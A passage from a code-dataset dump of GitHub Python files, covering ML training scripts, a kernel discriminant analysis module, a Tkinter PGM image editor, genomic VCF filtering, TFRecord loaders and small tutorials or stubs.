professionsSummary,\n 'specs': getSpecializations,\n 'itemsCheck': itemsCheck\n }\n\n return summary\n","repo_name":"Rdyx/warmane-armory-bot","sub_path":"src/charsumParser.py","file_name":"charsumParser.py","file_ext":"py","file_size_in_byte":7362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26780102096","text":"#liste gibi ama her elemanı bir kez ekleyebiliriz\nlistem=[1,2,3,2,3]\nsetim=set(listem)\nprint(setim)\n#seti direk tanımlama\nset2={\"a\",\"b\",\"c\"}\nset2.add(\"d\")\nprint(set2)\n#boş set tanımlama\nset3=set()\n","repo_name":"semihuzunCE/Python","sub_path":"3-setler.py","file_name":"3-setler.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40739251764","text":"\"\"\"\r\nThis is a test for classify the trajectories.\r\nWE have three kinds of trajectories: | L_D| c_aphi| c_h|\r\n with label: | 0 | 1 | 2 |\r\n\r\nTry to use linear+LSTM+linear NET.\r\n\r\n\"\"\"\r\n\r\nfrom __future__ import print_function\r\nimport os\r\nfrom utils.dataset import dataset,collate_fn\r\nimport torch.nn as nn\r\nimport torch.optim\r\nimport torch.utils.data as Data\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom Classify_net import Classify\r\nfrom utils.d_process import *\r\nfrom torch.optim import lr_scheduler\r\nfrom train_util import train, trainlog\r\nimport logging\r\n#device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n# Hyper Parameters\r\nINPUT_SIZE = 6\r\nOUTPUT_SIZE = 3\r\nTIME_STEP = 1200\r\nLINEAR1_OUT = 32 # D:通过6维输入,提取另外的特征 *2\r\nHIDDEN_SIZE = 64 # 记录调试日志\r\nBATCH_SIZE = 64 #NUM_LATERS = 2 #\r\nLR = 0.01\r\nN_TRAIN_POINTS = 100 #没有用到\r\nEPOCH = 1000 #没有用到\r\nMAX_LEN = 600\r\n\r\nsave_dir = r'F:\\classi\\model_test_1_16/'\r\nif not os.path.exists(save_dir):\r\n os.makedirs(save_dir)\r\nlogfile = '%s/trainlog.log'%save_dir\r\ntrainlog(logfile)\r\n# 原始数据\r\nrawdata_root = r'F:\\classi\\train/'\r\n# 读标签\r\nall_pd = pd.read_csv(r\"F:\\HXDD/dataset_train.csv\", sep=\",\",\r\n header=None,\r\n names=[\"file_name\",\"label\"])[1:] ##加r''的目的在于啥 ,dataset_train.csv好像有点不对\r\n\r\n#print(all_pd.head())\r\n# 训练数据和测试数据划分\r\ntrain_pd, val_pd = train_test_split(all_pd, test_size=0.25, random_state=43,\r\n stratify=all_pd['label']) #去查下这个函数的用法 2020-10-20 有可能指的是标签只有1维\r\n# print(val_pd.shape)\r\n\r\n# 数据预测处理\r\ndata_process = {\r\n 'train':data_process(max_len=MAX_LEN),\r\n 'val':data_process(max_len=MAX_LEN)\r\n}\r\ndata_set={}\r\ndata_set['train']=dataset(trajroot=rawdata_root, anno_pd=train_pd,\r\n dprocess=data_process['train']) #train_pd 应该调成 val_pd,原先为train_pd\r\ndata_set['val']=dataset(trajroot=rawdata_root, anno_pd=val_pd,\r\n dprocess=data_process['val']) #train_pd 应该调成 val_pd,原先为train_pd\r\n# sklearn读取数据,数据打包\r\ndataloader={}\r\ndataloader['train']=torch.utils.data.DataLoader(data_set['train'],batch_size=BATCH_SIZE,\r\n shuffle=True,num_workers=0,collate_fn=collate_fn) #参数决定了由几个进程来处理\r\n\r\ndataloader['val']=torch.utils.data.DataLoader(data_set['val'],batch_size=BATCH_SIZE,\r\n shuffle=True,num_workers=0,collate_fn=collate_fn)\r\n\r\n'''model'''\r\nmodel = Classify()\r\nbase_lr = 0.01\r\nresume = None\r\n# 第一次运行使用resume=None\r\n# resume=None\r\nif resume:\r\n # 加载已有模型\r\n model.eval()\r\n model.load_state_dict(torch.load(resume))\r\nmodel.double() # cuda之前需要将数据转换\r\nmodel.cuda()\r\n\r\n\r\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001,betas=(0.9, 0.999), eps= 1e-08, weight_decay=1e-5)\r\ncriterion = nn.CrossEntropyLoss()\r\nexp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=50, gamma=0.1) # 设置学习率,lr*gama^(epoch/step_size)\r\nif __name__ == '__main__':\r\n train(model,\r\n epoch_num=100,\r\n start_epoch=0,\r\n optimizer=optimizer,\r\n criterion=criterion,\r\n exp_lr_scheduler=exp_lr_scheduler,\r\n data_set=data_set,\r\n data_loader=dataloader,\r\n save_dir=save_dir,\r\n print_inter=50,\r\n val_inter=400)\r\n\r\n","repo_name":"Xie-JunWei/lstm-network","sub_path":"classify/classify_train.py","file_name":"classify_train.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71150670171","text":"from wb0configs import configs\nfrom wb0configs.helpers import store_file, load_file\nfrom collections import defaultdict\nimport random\nimport torch\nfrom tqdm import tqdm\n\n\ndef pool_sections_embed(e_id_sec_embed):\n print(\"pool_sections_embed\")\n\n e_id_embed = load_file(config.get_path(\"task\") / \"entity_pooled\" / \"e_id_embed_tfidf\", ftype=\"pkl\")\n #e_id_embed = load_file(config.get_path(\"task\") / \"entity_pooled\" / \"e_id_embed_tfidf\", ftype=\"pkl\")\n\n if e_id_embed == None:\n e_id_embed = dict()\n\n for e, sec in e_id_sec_embed.items():\n e_id_embed[e] = torch.mean(torch.stack(list(sec.values())), dim=0)\n\n store_file(config.get_path(\"task\") / \"entity_pooled\" / \"e_id_embed_tfidf\", e_id_embed, \"pkl\", \"csv\")\n return e_id_embed\n\n\n\ndef create_node_features(node_list, e_id_embed):\n print(\"create_node_features\")\n\n #node_features = torch.Tensor(len(node_list),768)\n node_features = dict()\n\n for i, (e_id, e_features) in enumerate(node_list):\n if e_id in e_id_embed.keys():\n e_emb = e_id_embed[e_id]\n #node_features[i] = e_emb\n node_features[e_id] = e_emb\n else: ## for some entities there exist no embeddings\n e_id= random.choice(node_list)[0]\n e_emb = e_id_embed[e_id]\n #node_features[i] = e_emb\n node_features[e_id] = e_emb\n\n return node_features\n\n\n\ndef create_edge_features(aggr_edge_list, c_id_ent_id_embed):\n print(\"create_edge_features\")\n\n #edge_features = torch.Tensor(len(aggr_edge_list), 768)\n edge_features = defaultdict(torch.FloatTensor)\n\n for i, (e_id_1, e_id_2, c_features) in tqdm(enumerate(aggr_edge_list)):\n c_ids = c_features[\"conflict_ids\"]\n for c_id in c_ids:\n #edge_features[i] = c_id_ent_id_embed[c_id][0]\n edge_features[(e_id_1, e_id_2)] = torch.cat((edge_features[(e_id_1, e_id_2)], c_id_ent_id_embed[c_id].view(1,-1)),0)\n edge_features[(e_id_1, e_id_2)] = torch.mean(edge_features[(e_id_1, e_id_2)], 0)\n return edge_features\n\n\nif __name__ == \"__main__\":\n\n config = configs.ConfigBase()\n\n node_list = load_file(config.get_path(\"task\") / \"network_structure\" / \"node_list\", ftype = \"pkl\")\n e_id_sec_embed = load_file(config.get_path(\"entity_embed\") / \"e_id_sec_embed_tfidf\", ftype=\"pkl\")\n e_id_embed = pool_sections_embed(e_id_sec_embed)\n\n node_features = create_node_features(node_list, e_id_embed)\n\n aggr_edge_list = load_file(config.get_path(\"task\") / \"network_structure\" / \"aggr_edge_list\", ftype = \"pkl\")\n c_id_ent_id_embed = load_file(config.get_path(\"conflict_embed\") / \"c_id_ent_id_embed_tfidf\", ftype=\"pkl\")\n edge_features = create_edge_features(aggr_edge_list, c_id_ent_id_embed)\n\n store_file(config.get_path(\"task\") / \"network_features\" / \"node_features\", node_features, \"pkl\", \"csv\")\n store_file(config.get_path(\"task\") / \"network_features\" / \"edge_features\", edge_features, \"pkl\", \"csv\")\n\n","repo_name":"conflict-AI/conflictwiki","sub_path":"code/wb4task/task_construction/network_features.py","file_name":"network_features.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"27898216650","text":"import numpy as np\nfrom sklearn.metrics import pairwise_distances\nfrom sklearn.metrics.pairwise import rbf_kernel, polynomial_kernel,linear_kernel\n\n\n\nclass centred_kernel(object):\n def __init__(self, kernel, centred=True, gamma=None, degree=3, coef0=1):\n self._kernel_type = kernel\n self._gamma = gamma\n self._degree = degree\n self._coef0 = coef0\n self._centred = centred\n\n def fit(self, X):\n self._X = X.copy()\n return self\n\n def fit_transform(self, X):\n self._X = X.copy()\n self._n = X.shape[0]\n if self._kernel_type == 'rbf':\n K = rbf_kernel(X, gamma=self._gamma)\n elif self._kernel_type == 'poly':\n K = polynomial_kernel(X, degree=self._degree, coef0=self._coef0)\n elif self._kernel_type == 'linear':\n K = linear_kernel(X)\n if self._centred == True:\n\n \"\"\"\n YOUR CODE\n\n \"\"\"\n sumK = np.sum(K, 0)\n K1 = 1. / self._n * np.tile(np.reshape(sumK, (-1, 1)), (1, self._n))\n K2 = 1. / self._n * np.tile(np.reshape(sumK, (1, -1)), (self._n, 1))\n self._K = K.copy()\n Ko = K - K1 - K2 + np.mean(K)\n else:\n Ko = K\n return Ko\n\n def transform(self, X):\n nt = X.shape[0]\n if self._kernel_type == 'rbf':\n K = rbf_kernel(X, self._X, gamma=self._gamma)\n elif self._kernel_type == 'poly':\n K = polynomial_kernel(X, self._X, degree=self._degree,\n coef0=self._coef0)\n elif self._kernel_type == 'linear':\n K = linear_kernel(X, self._X)\n if self._centred == True:\n\n \"\"\"\n YOUR CODE\n \"\"\"\n K1 = (K - 1. / self._n * np.ones((nt, self._n)).dot(self._K))\n K2 = np.eye(self._n) - 1. / self._n * np.ones((self._n, self._n))\n Ko = K1.dot(K2)\n else:\n Ko = K\n return Ko\n\n\n\ndef sorted_spectrum(A):\n complex_eig_val, complex_eig_vec = np.linalg.eig(A)\n eig_val = complex_eig_val.real\n orden = np.argsort(eig_val)[::-1]\n eig_val = eig_val[orden]\n eig_vec = complex_eig_vec.real\n eig_vec = eig_vec[:,orden]\n return eig_val, eig_vec\n\ndef kgda(K, y, tau = 1e-6):\n # K already centred!!\n n = K.shape[0]\n v_classes = np.unique(y)\n M_ = np.mean(K,1)\n P = len(v_classes)\n M_Mp = np.empty((n,P))\n #Sb\n Sb = np.zeros((n,n))\n Sw = np.zeros((n,n))\n for p in range(P):\n idx_class_p = np.where(y==v_classes[p])[0]\n n_p = len(idx_class_p)\n Kp = K[:,idx_class_p]\n Mp = np.mean(Kp,1)\n M_Mp[:,p] = Mp.copy()\n MpM_ = Mp - M_\n Sb += n_p* np.outer(MpM_, MpM_.T) # column * row\n Sw += 1./n_p* Kp.dot(Kp.T) - np.outer(Mp, Mp.T)\n #Sw inv\n if np.linalg.matrix_rank(Sw) < n:\n Sw += tau*np.eye(n)\n iSw = np.linalg.inv(Sw)\n AA = iSw.dot(Sb)\n DD2, UU2 = sorted_spectrum(AA)\n lam = DD2[:P-1]\n A = UU2[:,:P-1]\n VMp = A.T.dot(M_Mp)\n return A, VMp.T\n\ndef predict_kgda(K_test, A, Q, v_classes=None):\n # Ktest centred!!\n # Q projection of class means!!\n if v_classes is None:\n P = Q.shape[0]\n v_classes = np.array([int(cc) for cc in range(P)])\n U = K_test.dot(A)\n Distance_sample_mean = pairwise_distances(U, Q)\n closest_mean = np.argmin(Distance_sample_mean,1)\n output = np.array([v_classes[ii] for ii in closest_mean])\n return output, U","repo_name":"fredchettouh/uc3m_ml","sub_path":"kernel_mva/klda.py","file_name":"klda.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29133475410","text":"import numpy\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageTk\r\n\r\n#Reading of the original file\r\ndef get_pgm_data():\r\n try:\r\n global filename\r\n filename = e.get()\r\n with open(filename, \"r\") as f:\r\n content = f.readlines()\r\n global size\r\n size=[]\r\n global Lmax \r\n Lmax=0\r\n global data\r\n data=[]\r\n global comments\r\n comments=[]\r\n for line in list(content):\r\n if line[0] == \"#\":\r\n comments.append(line)\r\n content.remove(line)\r\n if content[0].strip() != \"P2\":\r\n e.delete(0, END)\r\n status['text'] = \"Това не е PGM файл\"\r\n else:\r\n size = [int(el) for el in content[1].strip().split()]\r\n Lmax = int(content[2].strip())\r\n for line in content[3:]:\r\n for el in line.split():\r\n data.append(int(el))\r\n #get_file_button['state'] = DISABLED #if you remove the comment the program will work only with 1 file \r\n status['text'] = \"Файлът беше успешно зареден\"\r\n open_file['state'] = ACTIVE\r\n except OSError:\r\n status['text'] = \"Файлът не е намерен\"\r\n \r\n#Showing the original image on the screen\r\ndef open_original_pgm():\r\n original_image = Toplevel(root)\r\n original_image.iconbitmap(\"img\\\\icona.ico\")\r\n original_image.title(filename)\r\n original_image.resizable(0,0)\r\n original_image.transient(root)\r\n #using nympy array to get the image information\r\n new_data = numpy.array(data).reshape(size[1], size[0])\r\n #creating and displaying of the image on the screen\r\n img = ImageTk.PhotoImage(image = Image.fromarray(new_data))\r\n c = Canvas(original_image, width=size[0], height=size[1])\r\n c.pack()\r\n c.create_image(0,0, anchor=\"nw\", image = img)\r\n #right click mouse event for showing the additional field on the screen\r\n c.bind(\"\", enable_mod)\r\n koef_text = Label(original_image, text=\"коефициент:\")\r\n koef_text.pack(side=LEFT)\r\n\r\n k_v = Entry(original_image, width=15)\r\n k_v.pack(side=LEFT)\r\n\r\n stepen_text = Label(original_image,text=\"степен:\")\r\n stepen_text.pack(side=LEFT)\r\n\r\n img4 = PhotoImage(file=\"img\\\\adjust.png\")\r\n\r\n s_v = Entry(original_image, width=15)\r\n s_v.pack(side=LEFT)\r\n #calling the input validation function for both fields to ensure only numerals are entered\r\n reg = original_image.register(only_numbers)\r\n k_v.config(validate=\"key\", validatecommand=(reg, '%S'))\r\n s_v.config(validate=\"key\", validatecommand=(reg, '%S'))\r\n #lambda function to use the inputs from the fields otherwise tkinter can't use them\r\n x = lambda:open_modified_pgm(float(k_v.get()), float(s_v.get()))\r\n\r\n global modify\r\n modify = Button(original_image, image=img4, compound=\"left\", text= \"Промени\", state=DISABLED, command=x)\r\n modify.pack(side=RIGHT)\r\n\r\n #positioning of the image according to the main window\r\n original_image.update_idletasks()\r\n windowWidth = original_image.winfo_reqwidth()\r\n windowHeight = original_image.winfo_reqheight()\r\n # Gets both half the screen width/height and window width/height\r\n positionRight = int(original_image.winfo_screenwidth()/2 - windowWidth/2-(windowHeight/2))\r\n positionDown = int(original_image.winfo_screenheight()/2 - windowHeight/2)\r\n # Positions the window in the center of the page.\r\n original_image.geometry(\"+{}+{}\".format(positionRight, positionDown))\r\n\r\n original_image.mainloop()\r\n \r\n#Showing the moified image on the screen\r\ndef open_modified_pgm(k,s):\r\n modified_image = Toplevel(root)\r\n modified_image.iconbitmap(\"img\\\\icona.ico\")\r\n modified_image.title(filename.rstrip(\".pgm\")+\"_mod.pgm\")\r\n modified_image.resizable(0,0)\r\n modified_image.transient(root)\r\n global data1\r\n #creating and modifying of the new image \r\n data1 = numpy.array(data).reshape(size[1], size[0])\r\n with numpy.nditer(data1, op_flags=['readwrite']) as it:\r\n for x in it:\r\n x[...] = Lmax*(x/Lmax)**(k/s)\r\n img = ImageTk.PhotoImage(image = Image.fromarray(data1))\r\n c = Canvas(modified_image, width=size[0], height=size[1])\r\n c.pack()\r\n c.create_image(0,0, anchor=\"nw\", image = img)\r\n img5 = PhotoImage(file=\"img\\\\sd-card.png\")\r\n open_file = Button(modified_image, image=img5, compound=\"left\", text= \"Запази\", command=save_new_pgm, state=ACTIVE)\r\n open_file.pack(side=BOTTOM)\r\n modify['state'] = DISABLED\r\n status['text'] = \"Модификация на файла...\"\r\n #positioning of the image according to the main window\r\n modified_image.update_idletasks()\r\n windowWidth = modified_image.winfo_reqwidth()\r\n windowHeight = modified_image.winfo_reqheight()\r\n # Gets both half the screen width/height and window width/height\r\n positionRight = int(modified_image.winfo_screenwidth()/2 - windowWidth/2+(windowHeight/2))\r\n positionDown = int(modified_image.winfo_screenheight()/2 - windowHeight/2)\r\n # Positions the window in the center of the page.\r\n modified_image.geometry(\"+{}+{}\".format(positionRight, positionDown))\r\n\r\n modified_image.mainloop()\r\n \r\n#saving the modified mage as a file\r\ndef save_new_pgm():\r\n with open(filename.rstrip(\".pgm\")+\"_mod.pgm\", \"w\") as f:\r\n f.writelines(\"P2\\n\")\r\n f.writelines(\"# modified by PGM Read&Modify\\n\")\r\n for line in list(comments):\r\n #if the file was aleady modified by the program, making sure to remove the comment\r\n if line.strip() == \"# modified by PGM Read&Modify\":\r\n comments.remove(line)\r\n else:\r\n f.writelines(line)\r\n f.writelines(str(size[0])+\" \"+str(size[1])+\"\\n\")\r\n f.writelines(str(Lmax)+\"\\n\")\r\n #formating the image information so it can be dispalyed properly by any app\r\n for line in data1.tolist():\r\n f.writelines(str(line)[str(line).find(\"[\")+1 : str(line).find(\"]\")].replace(\",\", \"\")+\"\\n\") \r\n status['text'] = \"Файлът беше записан успешно като \"+filename.rstrip(\".pgm\")+\"mod.pgm\"\r\n\r\n#input validation to make sure the iput is either a number, a space or a dot f0r floatng numbers\r\ndef only_numbers(inp):\r\n if inp.isdigit():\r\n return True\r\n elif inp == \"\":\r\n return True\r\n elif inp == \".\":\r\n return True\r\n else:\r\n return False\r\n\r\n#changing the state of \"Change\" button(\"Промени\")\r\ndef enable_mod(event):\r\n modify['state'] = ACTIVE\r\n\r\n#using this to be able to call get_pgm_data via enter button\r\ndef call_get_pgm(event):\r\n get_pgm_data()\r\n\r\n#function to use in event to create a popup menu\r\ndef popup(event):\r\n try:\r\n popup_menu.tk_popup(event.x_root, event.y_root,0)\r\n finally:\r\n popup_menu.grab_release()\r\n\r\n\r\n\r\n#Creating of the main window\r\nroot = Tk()\r\nroot.iconbitmap(\"img\\\\icona.ico\")\r\nroot.title(\"PGM Read&Modify\")\r\nroot.resizable(0,0) #this disables rezising of the window\r\n#root.attributes(\"-toolwindow\",1) #hides the window control button under windows. As a side effect it also hides the program icon.\r\n#root.overrideredirect(1) #hides all the elements of the window control manager. Bad idea to use under winodws, works on linux or mac though.\r\n\r\n#Creating the top frame where the buttons and path to file elements reside\r\ntop_frame = Frame(root)\r\ntop_frame.pack(side=TOP, fill=X)\r\n\r\n#Creating of the bottom frame to hold the status bar element\r\nbottom_frame = Frame(root)\r\nbottom_frame.pack(side=BOTTOM, fill=X)\r\nfilename = Label(top_frame, text=\"Файл:\")\r\nfilename.pack(side=LEFT, anchor=W)\r\ne = Entry(top_frame, width=67)\r\ne.pack(side=LEFT)\r\ne.focus()\r\ne.bind(\"\", call_get_pgm)\r\n\r\n#Creates the popup menu with an option to exit the program\r\npopup_menu = Menu(root, tearoff=0)\r\npopup_menu.add_command(label=\"Exit\", command=root.destroy)\r\n\r\n#Creating the images for the buttons\r\nimg = ImageTk.PhotoImage(Image.open(\"img\\\\pgm.jpg\"))\r\nimg1 = PhotoImage(file = \"img\\\\file.png\")\r\nimg2 = PhotoImage(file =\"img\\\\display.png\")\r\nbackground = Label(bottom_frame,image=img)\r\nbackground.pack(side=TOP)\r\n\r\nstatus_text = Label(bottom_frame, text=\"статус:\", bd=1, relief=SUNKEN)\r\nstatus_text.pack(side=LEFT)\r\n\r\nstatus = Label(bottom_frame, text=\"Изчакване\", bd=1, relief=SUNKEN, anchor=W)\r\nstatus.pack(side=BOTTOM, fill=X)\r\n\r\nroot.bind(\"\", popup)\r\n\r\nget_file_button = Button(top_frame, image=img1, text=\"Отвори\", command=get_pgm_data, state=ACTIVE, compound=\"left\")\r\nget_file_button.pack(side=RIGHT)\r\n\r\nopen_file = Button(top_frame, image=img2, text= \"Покажи\", command=open_original_pgm, state=DISABLED, compound=\"left\")\r\nopen_file.pack(side=LEFT)\r\n\r\n#Centering of the main window according to screen resolution\r\nroot.withdraw()\r\nroot.update_idletasks()\r\nx = (root.winfo_screenwidth() - root.winfo_reqwidth()) / 2\r\ny = (root.winfo_screenheight() - root.winfo_reqheight()) / 2\r\nroot.geometry(\"+%d+%d\" % (x, y))\r\nroot.deiconify()\r\n\r\nroot.mainloop()\r\n","repo_name":"mazirah/PGM-Read-Modify","sub_path":"pgm read&modify.py","file_name":"pgm read&modify.py","file_ext":"py","file_size_in_byte":9202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26727665845","text":"\"\"\"Datasets utilities.\"\"\"\n\nfrom __future__ import annotations\n\nimport albumentations\nimport numpy as np\nimport tensorflow as tf\n\nfrom pathlib import PurePath\nfrom rasterio.io import MemoryFile\n\n\ndef augment_image_dataset(dataset: tf.data.Dataset,\n transforms: albumentations.Compose,\n augment_labels: bool = False) -> tf.data.Dataset:\n \"\"\"Augments a non-batched dataset using the given transforms.\"\"\"\n\n def _augment(image, label):\n if augment_labels:\n data = {\"image\": image, \"mask\": label}\n augmented = transforms(**data)\n return augmented[\"image\"], augmented[\"mask\"]\n else:\n data = {\"image\": image}\n augmented = transforms(**data)\n return augmented[\"image\"], label\n\n def _augment_tensors(image_tensor, label_tensor):\n return tf.numpy_function(func=_augment,\n inp=[image_tensor, label_tensor],\n Tout=[image_tensor.dtype, label_tensor.dtype])\n\n return dataset.map(_augment_tensors,\n num_parallel_calls=tf.data.AUTOTUNE,\n deterministic=True)\n\n\ndef tfrecords_as_geospatial_dataset(\n file_pattern: PurePath = None,\n batch_size: int = 1,\n repeat: bool = False,\n shuffle_buffer_size: int = 0,\n prefetch_buffer_size: int = tf.data.AUTOTUNE,\n transforms: albumentations.Compose = None,\n tfr_channel_keys: list[str] = None,\n tfr_channel_rewrite_map: dict[str, tuple[int, int]] = None,\n tfr_label_key: str = \"label\") -> tf.data.Dataset:\n \"\"\"Builds a geospatial raster dataset from TFRecords.\"\"\"\n\n if not file_pattern:\n raise ValueError(\"Must provide a non-empty file pattern.\")\n if not tfr_channel_keys:\n raise ValueError(\"Must provide a non-empty list of channel keys.\")\n\n shuffle = (shuffle_buffer_size > 0)\n deterministic = (not shuffle)\n\n if tfr_channel_rewrite_map:\n channel_rewrite_map = {\n tfr_channel_keys.index(k): v\n for k, v in tfr_channel_rewrite_map.items()\n }\n else:\n channel_rewrite_map = {}\n\n def _parse_example(serialized):\n \"\"\"Parses a serialized tf.train.Example into an (image, label) tuple.\"\"\"\n # pylint: disable=no-value-for-parameter\n\n all_keys = tfr_channel_keys + [tfr_label_key]\n example = tf.io.parse_example(\n serialized,\n {key: tf.io.FixedLenFeature([], tf.string) for key in all_keys})\n\n def _build_image_from_channels(*channels_data):\n img = []\n for idx, data in enumerate(channels_data):\n with MemoryFile(data) as memfile:\n with memfile.open() as f:\n channel = f.read(1)\n if idx in channel_rewrite_map:\n v_from, v_to = channel_rewrite_map[idx]\n channel[channel == v_from] = v_to\n img.append(channel)\n img = np.stack(img, axis=-1)\n return img\n\n img = tf.numpy_function(\n func=_build_image_from_channels,\n inp=[example[key] for key in tfr_channel_keys], # type: ignore\n Tout=tf.float32)\n\n def _read_label(data):\n with MemoryFile(data) as memfile:\n with memfile.open() as f:\n label = f.read(1)\n return np.expand_dims(label, axis=-1)\n\n label = tf.numpy_function(func=_read_label,\n inp=[example[tfr_label_key]],\n Tout=tf.uint8)\n\n return img, label\n\n ds = tf.data.TFRecordDataset.list_files(str(file_pattern), shuffle=shuffle)\n ds = ds.interleave(tf.data.TFRecordDataset,\n num_parallel_calls=tf.data.AUTOTUNE,\n deterministic=deterministic)\n if repeat:\n ds = ds.repeat()\n if shuffle:\n ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n ds = ds.map(_parse_example,\n num_parallel_calls=tf.data.AUTOTUNE,\n deterministic=deterministic)\n\n if transforms:\n ds = augment_image_dataset(ds,\n transforms=transforms,\n augment_labels=True)\n\n options = tf.data.Options()\n options.experimental_distribute.auto_shard_policy = \\\n tf.data.experimental.AutoShardPolicy.DATA\n ds = ds.with_options(options)\n ds = ds.batch(batch_size=batch_size,\n drop_remainder=True,\n num_parallel_calls=tf.data.AUTOTUNE,\n deterministic=deterministic)\n\n ds = ds.prefetch(prefetch_buffer_size)\n return ds\n","repo_name":"stefanistrate/drivendata-stac-overflow","sub_path":"stac_overflow/utils/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":4781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31320706422","text":"from odoo import http\nfrom odoo.addons.website_sale.controllers.main import WebsiteSale\nfrom odoo.http import request\n\n\nclass WebsiteSaleFrogblue(WebsiteSale):\n\n @http.route(['/shop/print'], type='http', auth=\"public\", website=True, sitemap=False)\n def print_saleorder(self, **kwargs):\n res = super(WebsiteSaleFrogblue, self).print_saleorder()\n sale_order_id = request.session.get('sale_last_order_id')\n if sale_order_id:\n pdf, _ = request.env.ref('frogblue_reports.report_frogblue_sale_order').sudo().render_qweb_pdf([sale_order_id])\n pdfhttpheaders = [('Content-Type', 'application/pdf'), ('Content-Length', u'%s' % len(pdf))]\n return request.make_response(pdf, headers=pdfhttpheaders)\n else:\n return res\n","repo_name":"liaohanzhen/custom_14","sub_path":"frogblue/frogblue_reports/controllers/website_sale/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30138300607","text":"\"\"\"\r\n\n\nCreate a function that, given a **string** with at least **three characters**\n, returns an array of its:\n\n 1. Length.\n 2. First character.\n 3. Last character.\n 4. Middle character, if the string has an odd number of characters. Middle TWO characters, if the string has an even number of characters.\n 5. Index of the second occurrence of the second character in the format **\"@ index #\"** and **\"not found\"** if the second character doesn't occur again.\n\n### Examples\n\n all_about_strings(\"LASA\") ➞ [4, \"L\", \"A\", \"AS\", \"@ index 3\"]\n \n all_about_strings(\"Computer\") ➞ [8, \"C\", \"r\", \"pu\", \"not found\"]\n \n all_about_strings(\"Science\") ➞ [7, \"S\", \"e\", \"e\", \"@ index 5\"]\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef all_about_strings(txt):\n newlist = []\n newlist.append(len(txt))\n newlist.append(txt[0])\n newlist.append(txt[-1])\n if len(txt) % 2 != 0:\n middle = len(txt) // 2\n newlist.append(txt[middle])\n else:\n middle = len(txt) // 2\n to_add = txt[middle-1] + txt[middle]\n newlist.append(to_add)\n temp = txt[1]\n if txt.count(temp) == 1:\n newlist.append('not found')\n return newlist\n else:\n txt = txt[0:1] + '$' + txt[2:]\n first_index = txt.index(temp)\n newlist.append('@ index {}'.format(first_index))\n return newlist\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"pEozhEet5c8aFJdso_24.py","file_name":"pEozhEet5c8aFJdso_24.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8776967750","text":"from flask import flask, render_template \nfrom datetime import date\n\n\napp = flask(__name__)\n\n@app.route('/')\ndef show_nasa_pic():\n\ttoday = str(date.today())\n\tresponce = request.get('')\n\tdata= respond\t\n\n\n\nif __name__ =='__main__':\n\tapp.run(debug = True, host='127.0.0.1')\n","repo_name":"clayheart/teamedge-flask-projects","sub_path":"hello_flash/templates/APP.PY","file_name":"APP.PY","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70530520412","text":"############\n## INIT ##\n############\n\nfrom __future__ import print_function\nimport sys, tabix, time, re\n\nprog_name = sys.argv[0].split('/')[-1]\nif len(sys.argv) == 3:\n in_vcf = sys.argv[1]\n in_db = sys.argv[2] # bed.gz\n print(\"[%s] %s run initiated.\" % (time.ctime(), prog_name), file=sys.stderr)\nelse:\n sys.exit(\"\\nUsage: python %s \\n\" % prog_name)\n# fi\n\n\n## Module\ndef has_indel(ref, alts):\n flag_has_indel = False\n ref_len = len(ref)\n\n for alt in alts:\n if ref_len == len(alt) == 1:\n continue\n else:\n flag_has_indel = True\n # fi\n # for end \n return flag_has_indel\n# fed\n\n# Init tabix\ndb = tabix.open(in_db)\n\n# Proc VCF\nfor line in open(in_vcf, \"r\"):\n if line.startswith('#'):\n print(line.strip())\n continue\n field = line.strip().split('\\t')\n chrom = field[0]\n chrom_id = chrom.replace(\"chr\", '')\n chrom_id = 'M' if chrom_id == \"MT\" else chrom_id\n one_pos = int(field[1])\n chr_pos = \"%s:%s\" % (chrom_id, one_pos)\n ref = field[3]\n alts = field[4].split(',')\n query_db = \"chr%s:%s-%s\" % (chrom_id, one_pos, one_pos)\n flag_has_indel = has_indel(ref, alts)\n if not flag_has_indel: # if var has no indel\n print(line.strip())\n continue\n\n try:\n results = db.querys(query_db) # send query\n iter_cnt = sum(1 for _ in results)\n except tabix.TabixError:\n print(line.strip())\n continue\n\n # If at least 1 STR present\n if iter_cnt > 0:\n continue\n elif iter_cnt == 0:\n print(line.strip())\n continue\n else:\n sys.exit(\"ERROR: iter_cnt = %s\" % iter_cnt)\n# for line end\n","repo_name":"soymintc/rainbow","sub_path":"scripts/dbflt_str.py","file_name":"dbflt_str.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"36758840014","text":"import sklearn as sk\nfrom sklearn import datasets as ds\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.svm import 